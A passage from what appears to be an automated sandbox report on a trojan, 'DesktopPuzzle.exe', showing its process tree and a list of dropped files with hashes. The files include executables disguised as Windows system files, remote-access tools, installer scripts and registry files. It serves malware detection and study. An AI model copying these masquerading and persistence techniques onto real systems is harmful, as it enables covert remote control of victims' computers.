                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\Downloads\The-MALWARE-Repo-master\The-MALWARE-Repo-master\Trojan\DesktopPuzzle.exe"
                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                      PID:676
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                        PID:3868
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                          PID:1948
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c C:\ProgramData\RealtekHD\taskhostw.exe
                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                            PID:3476
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                PID:1740
                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\RealtekHD\taskhostw.exe
                                                                                                                                                                                                                                                                                                                                                C:\ProgramData\RealtekHD\taskhostw.exe
                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                PID:5044
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\System32\svchost.exe -k NetworkService -s TermService
                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                              PID:5124
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\System32\svchost.exe -k NetworkService -s TermService
                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                              PID:5596
                                                                                                                                                                                                                                                                                                                                            • C:\Programdata\RealtekHD\taskhostw.exe
                                                                                                                                                                                                                                                                                                                                              C:\Programdata\RealtekHD\taskhostw.exe
                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                              PID:5704

                                                                                                                                                                                                                                                                                                                                            Network

                                                                                                                                                                                                                                                                                                                                                  MITRE ATT&CK Enterprise v16

                                                                                                                                                                                                                                                                                                                                                  Replay Monitor

                                                                                                                                                                                                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                  Downloads

                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files\chrome_Unpacker_BeginUnzipping3088_2080090139\manifest.json

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    43B

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    af3a9104ca46f35bb5f6123d89c25966

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    1ffb1b0aa9f44bdbc57bdf4b98d26d3be0207ee8

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    81bd82ac27612a58be30a72dd8956b13f883e32ffb54a58076bd6a42b8afaeea

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    6a7a543fa2d1ead3574b4897d2fc714bb218c60a04a70a7e92ecfd2ea59d67028f91b6a2094313f606560087336c619093f1d38d66a3c63a1d1d235ca03d36d1

                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files\chrome_Unpacker_BeginUnzipping3088_363078937\manifest.json

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    160B

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    a24a1941bbb8d90784f5ef76712002f5

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    5c2b6323c7ed8913b5d0d65a4d21062c96df24eb

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    2a7fe18a087d8e8be847d9569420b6e8907917ff6ca0fa42be15d4e3653c8747

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    fd7dfec3d46b2af0bddb5aaeae79467507e0c29bab814007a39ea61231e76123659f18a453ed3feb25f16652a0c63c33545e2a0d419fafea89f563fca6a07ce2

                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files\chrome_Unpacker_BeginUnzipping3088_512077663\manifest.json

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    160B

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    c3911ceb35539db42e5654bdd60ac956

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    71be0751e5fc583b119730dbceb2c723f2389f6c

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    31952875f8bb2e71f49231c95349945ffc0c1dd975f06309a0d138f002cfd23d

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    d8b2c7c5b7105a6f0c4bc9c79c05b1202bc8deb90e60a037fec59429c04fc688a745ee1a0d06a8311466b4d14e2921dfb4476104432178c01df1e99deb48b331

                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files\chrome_Unpacker_BeginUnzipping3088_725672060\manifest.json

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    134B

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    049c307f30407da557545d34db8ced16

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    f10b86ebfe8d30d0dc36210939ca7fa7a819d494

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    c36944790c4a1fa2f2acec5f7809a4d6689ecb7fb3b2f19c831c9adb4e17fc54

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    14f04e768956bdd9634f6a172104f2b630e2eeada2f73b9a249be2ec707f4a47ff60f2f700005ca95addd838db9438ad560e5136a10ed32df1d304d65f445780

                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\Microsoft\Intel\P.exe

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    382KB

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    b78c384bff4c80a590f048050621fe87

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    f006f71b0228b99917746001bc201dbfd9603c38

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    8215e35c9ce15a7b7373871b27100577d3e609856eac71080ac13972a6a6748b

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    479acd0d45e5add285ba4472a56918f6933f043c8f28822968ddc724084f8a8cf1fe718d864183eb9e61826e7e16fcc473891520b88591f5dfdef72359084eab

                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\Microsoft\Intel\R8.exe

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    887KB

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    ad95d98c04a3c080df33ed75ad38870f

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    abbb43f7b7c86d7917d4582e47245a40ca3f33c0

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    40d4931bbb3234a2e399e2e3e0dcfe4b7b05362c58d549569f2888d5b210ebbd

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    964e93aeec90ce5ddaf0f6440afb3ed27523dfcddcdfd4574b62ef32763cb9e167691b33bfc2e7b62a98ff8df2070bf7ae53dafc93a52ed6cbe9c2ca1563c5ed

                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\Microsoft\Intel\taskhost.exe

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    3.6MB

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    c5ec8996fc800325262f5d066f5d61c9

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    95f8e486960d1ddbec88be92ef71cb03a3643291

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    892e0afefca9c88d43bdd1beea0f09faadef618af0226e7cd1acdb47e871a0db

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    4721692047759aea6cb6e5c6abf72602c356ab826326779e126cda329fa3f7e4c468bdb651bb664cc7638a23fca77bc2d006a3fe0794badc09d6643d738e885a

                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\Microsoft\Intel\winlogon.exe

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    35KB

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    2f6a1bffbff81e7c69d8aa7392175a72

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    94ac919d2a20aa16156b66ed1c266941696077da

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    dc6d63798444d1f614d4a1ff8784ad63b557f4d937d90a3ad9973c51367079de

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    ff09ef0e7a843b35d75487ad87d9a9d99fc943c0966a36583faa331eb0a243c352430577bc0662149a969dbcaa22e2b343bed1075b14451c4e9e0fe8fa911a37

                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\Windows\install.vbs

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    140B

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    5e36713ab310d29f2bdd1c93f2f0cad2

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    7e768cca6bce132e4e9132e8a00a1786e6351178

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    cd8df8b0c43c36aabb0a960e4444b000a04eb513f0b34e12dbfd098944e40931

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    8e5cf90470163143aee75b593e52fcc39e6477cd69a522ee77fa2589ea22b8a3a1c23614d3a677c8017fba0bf4b320a4e47c56a9a7f176dbf51db88d9d8e52c1

                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\Windows\reg1.reg

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    12KB

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    806734f8bff06b21e470515e314cfa0d

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    d4ef2552f6e04620f7f3d05f156c64888c9c97ee

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    7ae7e4c0155f559f3c31be25d9e129672a88b445af5847746fe0a9aab3e79544

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    007a79f0023a792057b81483f7428956ab99896dd1c8053cac299de5834ac25da2f6f77b63f6c7d46c51ed7a91b8eccb1c082043028326bfa0bfcb47f2b0d207

                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\Windows\reg2.reg

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    1KB

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    6a5d2192b8ad9e96a2736c8b0bdbd06e

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    235a78495192fc33f13af3710d0fe44e86a771c9

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    4ae04a85412ec3daa0fb33f21ed4eb3c4864c3668b95712be9ec36ef7658422a

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    411204a0a1cdbe610830fb0be09fd86c579bb5cccf46e2e74d075a5693fe7924e1e2ba121aa824af66c7521fcc452088b2301321d9d7eb163bee322f2f58640d

                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\Windows\rfusclient.exe

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    1.5MB

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    b8667a1e84567fcf7821bcefb6a444af

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    9c1f91fe77ad357c8f81205d65c9067a270d61f0

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    dc9d875e659421a51addd8e8a362c926369e84320ab0c5d8bbb1e4d12d372fc9

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    ec6af663a3b41719d684f04504746f91196105ef6f8baa013b4bd02df6684eca49049d5517691f8e3a4ba6351fe35545a27f728b1d29d949e950d574a012f852

                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\Windows\rutserv.exe

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    1.7MB

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    37a8802017a212bb7f5255abc7857969

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    cb10c0d343c54538d12db8ed664d0a1fa35b6109

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    1699b9b4fc1724f9b0918b57ca58c453829a3935efd89bd4e9fa66b5e9f2b8a6

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    4e20141da8ea4499daf8be5cc41b664dc4229e9575765caf6dc5873d8d0a09f9e200988e1404e767d0415005876a4cf38d5737bd3e1b2c12c4a8fb28adb4f0a0

                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\Windows\vp8decoder.dll

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    155KB

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    88318158527985702f61d169434a4940

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    3cc751ba256b5727eb0713aad6f554ff1e7bca57

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    4c04d7968a9fe9d9258968d3a722263334bbf5f8af972f206a71f17fa293aa74

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    5d88562b6c6d2a5b14390512712819238cd838914f7c48a27f017827cb9b825c24ff05a30333427acec93cd836e8f04158b86d17e6ac3dd62c55b2e2ff4e2aff

                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\Windows\vp8encoder.dll

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    593KB

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    6298c0af3d1d563834a218a9cc9f54bd

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    0185cd591e454ed072e5a5077b25c612f6849dc9

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    81af82019d9f45a697a8ca1788f2c5c0205af9892efd94879dedf4bc06db4172

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    389d89053689537cdb582c0e8a7951a84549f0c36484db4346c31bdbe7cb93141f6a354069eb13e550297dc8ec35cd6899746e0c16abc876a0fe542cc450fffe

                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\Windows\winit.exe

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    961KB

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    03a781bb33a21a742be31deb053221f3

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    3951c17d7cadfc4450c40b05adeeb9df8d4fb578

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    e95fc3e7ed9ec61ba7214cc3fe5d869e2ee22abbeac3052501813bb2b6dde210

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    010a599491a8819be6bd6e8ba3f2198d8f8d668b6f18edda4408a890a2769e251b3515d510926a1479cc1fa011b15eba660d97deccd6e1fb4f2d277a5d062d45

                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\install\ink.exe

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    112KB

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    ef3839826ed36f3a534d1d099665b909

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    8afbee7836c8faf65da67a9d6dd901d44a8c55ca

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    136590cb329a56375d6336b12878e18035412abf44c60bebdaa6c37840840040

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    040c7f7b7a28b730c6b7d3fabc95671fe1510dac0427a49af127bdeb35c8643234730bf3824f627050e1532a0283895bd41fd8a0f5ac20a994accf81a27514f8

                                                                                                                                                                                                                                                                                                                                                  • C:\Programdata\Windows\install.bat

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    418B

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    db76c882184e8d2bac56865c8e88f8fd

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    fc6324751da75b665f82a3ad0dcc36bf4b91dfac

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    e3db831cdb021d6221be26a36800844e9af13811bac9e4961ac21671dff9207a

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    da3ca7a3429bb9250cc8b6e33f25b5335a5383d440b16940e4b6e6aca82f2b673d8a01419606746a8171106f31c37bfcdb5c8e33e57fce44c8edb475779aea92

                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.9\protocols.json

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    3KB

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    f9fd82b572ef4ce41a3d1075acc52d22

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    fdded5eef95391be440cc15f84ded0480c0141e3

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    5f21978e992a53ebd9c138cb5391c481def7769e3525c586a8a94f276b3cd8d6

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    17084cc74462310a608355fbeafa8b51f295fb5fd067dfc641e752e69b1ee4ffba0e9eafa263aab67daab780b9b6be370dd3b54dd4ba8426ab499e50ff5c7339

                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    280B

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    14ef2a56d0e46d925d734ce25085a0bf

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    d886c1b94fa95bb683adb282012d52c81d405704

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    a93c9cc46b0495d32d9fded0f8d1c79203e4c90d2389a4d6becf821243b6dd9c

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    40a7ca8257a2dd7c641560d472c96192392d8e2e5cbceede0f73ebe1ae0a32a41ad848ebb8ba774f25adca6bd60348efd05970329290c2dbc9ec3fd5d7ca6ccc

                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    280B

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    cc3cceccbf13f225a20eae32e70cb661

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    fefd3559b056e1b824b32312ee2615eb83515972

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    047f90831ee25ce6fd6a778679e08248ebf54086276ef6ab86bb324f364dee93

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    e6f9d5af7997d899844c6f4642181af2f71d0768c915068675cdc3a27462a3525697ecfa07eb42eb0c820c2e32729fb00ac8f8f562d01239262b8e569fba18bd

                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\70c3f9d8-5794-4577-b720-8ec7da09b022.tmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    14KB

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    251cd64877964d58e4b0124a0a0133d7

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    9553c4b3f42fc79cec8d617a83634539febf96c7

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    39bd9ab9cf4c4925ead5ab9f984d69085a49fb438fb15e6c0519af7c022355e3

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    edc827f0629b1f657ada46cd207e68d17802536c7ce97a7034c1282a4c66643ca7f3675229f88f7bf38a62f3172b10d3084405fb6e31629b61b796b0a851bbdd

                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    2KB

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    9872755aafbad5955282e426cac581c4

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    5e729db5e89c1d3c207489acff0976210ecf047c

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    63b5bf9d2318176ab87172745c7af72c177d35bdfb1f4393706562ec6b0f84c1

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    ed40c1e1d2bd488c7e4d3e8925f45b2635904e0359f37a7eeaf434c2b1e0ee18498b6b3dcdbfa694cfba6a415eb3c6fc06a4f8ef737feae9f0757ebd00e7c79b

                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5KB

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    0c4396ad1cd86dad113737126c7a5a58

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    95852fd2d3b2b9be73ead6d394e5925e501abe22

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    27ca9fb8c60076742db6f7903ce40ce3f99d9d223637be7d6aa6bd64f3e395e7

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    296b77d096d81b2e8022b4d434f8b63c42c4260c7d21a24ba99741012bcc4b3c105ea8e49366c31500e6c19346c89bfc8732cbc81849732315a33871f9645662

                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe57b8d0.TMP

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    3KB

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    b4b9d378f8d55d52e5ed583f128b4d48

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    38e5cab70fb3642c165a85717c4b42a097a86dee

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    6d264443f041b42d0f18d126549d045f9993aeeec68eb779cc547cb645964632

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    e67ba96f2387bd76476565e29b74b5b9a133344261c0fa5d7964e6df5914375dfcf95e40c30582bd2e3abca25e7050d8fc48ee176715527edfc3401a3026a70e

                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    2B

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    99914b932bd37a50b983c5e7c90ae93b

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd

                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    69KB

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    164a788f50529fc93a6077e50675c617

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    c53f6cd0531fd98d6abbd2a9e5fbb4319b221f48

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    b305e470fb9f8b69a8cd53b5a8ffb88538c9f6a9c7c2c194a226e8f6c9b53c17

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    ec7d173b55283f3e59a468a0037921dc4e1bf3fab1c693330b9d8e5826273c917b374c4b802f3234bbb5e5e210d55e52351426867e0eb8c9f6fba1a053cb05d4

                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\content.js

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    9KB

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    3d20584f7f6c8eac79e17cca4207fb79

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    3c16dcc27ae52431c8cdd92fbaab0341524d3092

                                                                                                                                                                                                                                                                                                                                                    SHA256

